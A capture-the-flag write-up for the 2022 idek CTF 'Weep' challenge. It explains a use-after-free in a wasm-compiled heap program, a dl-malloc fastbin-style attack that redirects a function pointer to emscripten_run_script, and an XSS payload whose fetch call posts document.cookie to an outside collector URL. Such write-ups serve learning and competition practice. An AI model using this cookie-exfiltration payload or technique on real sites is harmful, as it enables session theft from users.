2022 idek CTF - Weep
With the help of teammate kdxcxs, I solved one pwn challenge - Weep in 2022 idek CTF (why 2022’s game started in 2023 :<)
TL;DR
Exploit wasm vul to implement special XSS to steal flag cookies. Remember that exploit wasm in the env of wasm.
Intro
A quick view of the challenge, its main directory is below:
1 | ├── main.c |
- main.c: it looks like just a menu heap, and will be compiled to a wasm file.
- main.js: remote server code, it’s an XSS bot.
- admin.html & admin.js: front-end interface can access the route of “/visit”.
- index.html & index.js: front-end interface whose codes correspond to each function from main.c.
- index.wasm: a wasm file that is compiled from main.c
A simple front-end page:
It is a simple interactive interface, and all operations can be automatically generated as a payload that can be sent to the admin bot.
So our target is:
- Discover a vul in main.c.
- Trigger the vul in the front-end.
- Generate the complete payload to trigger admin bot XSS to leak flag.
Vul
Through quick vul discovering in main.c, I can see:
- Global var
title_fp
is a function pointer, that can be valued asmrTitle
/mrsTitle
/emscripten_run_script
insetTitle
. But varval
is typeint
not typelong long
, so never be equal to0x1337133713371337
. - An obvious UAF exploitation in
delete
. - The only way to invoke
title_fp
is ingreet
and is limited to one time bynumCalls
.
I wanna trigger the vul in the wasm file, browser developer console can help me debug the wasm code easily.
After some reverse work, I discovered that all wasm memory is located in a huge ArrayBuffer. I’ll call ArrayBuffer m
next. By reversing greet
and setTitle
wasm code, I discovered:
- m[66112] = 1/2/3 decides
title_fp
is valued asmrTitle
/mrsTitle
/emscripten_run_script
. numCalls
is located in m[66128].- GC tech is dl-malloc, which is also implemented in wasm. Through simple analysis, I found that dl-malloc has 8 bytes header, and we can exploit dl-malloc like fastbin attack in pt-malloc.
Exp
The basic exploit process is shown in the figure:
Change title_fp
to 3, and change numCalls
to a neg value.
Oh, another tiny problem is that emscripten_run_script
has a string length limit of 23.
1 | function _emscripten_run_script(ptr) { |
So use the function edit
and greet
to splice out the payload step by step, and then invoke eval.
1 | let code = 'fetch("http://{receive xss result}",{method:"POST",mode:"no-cors",body:document.cookie})'; |
Generate the payload, send it to the admin bot to trigger XSS, monitor and get your flag!
Conclusion
Maybe wasm will adopt ASLR and PIE mechanisms in the future :>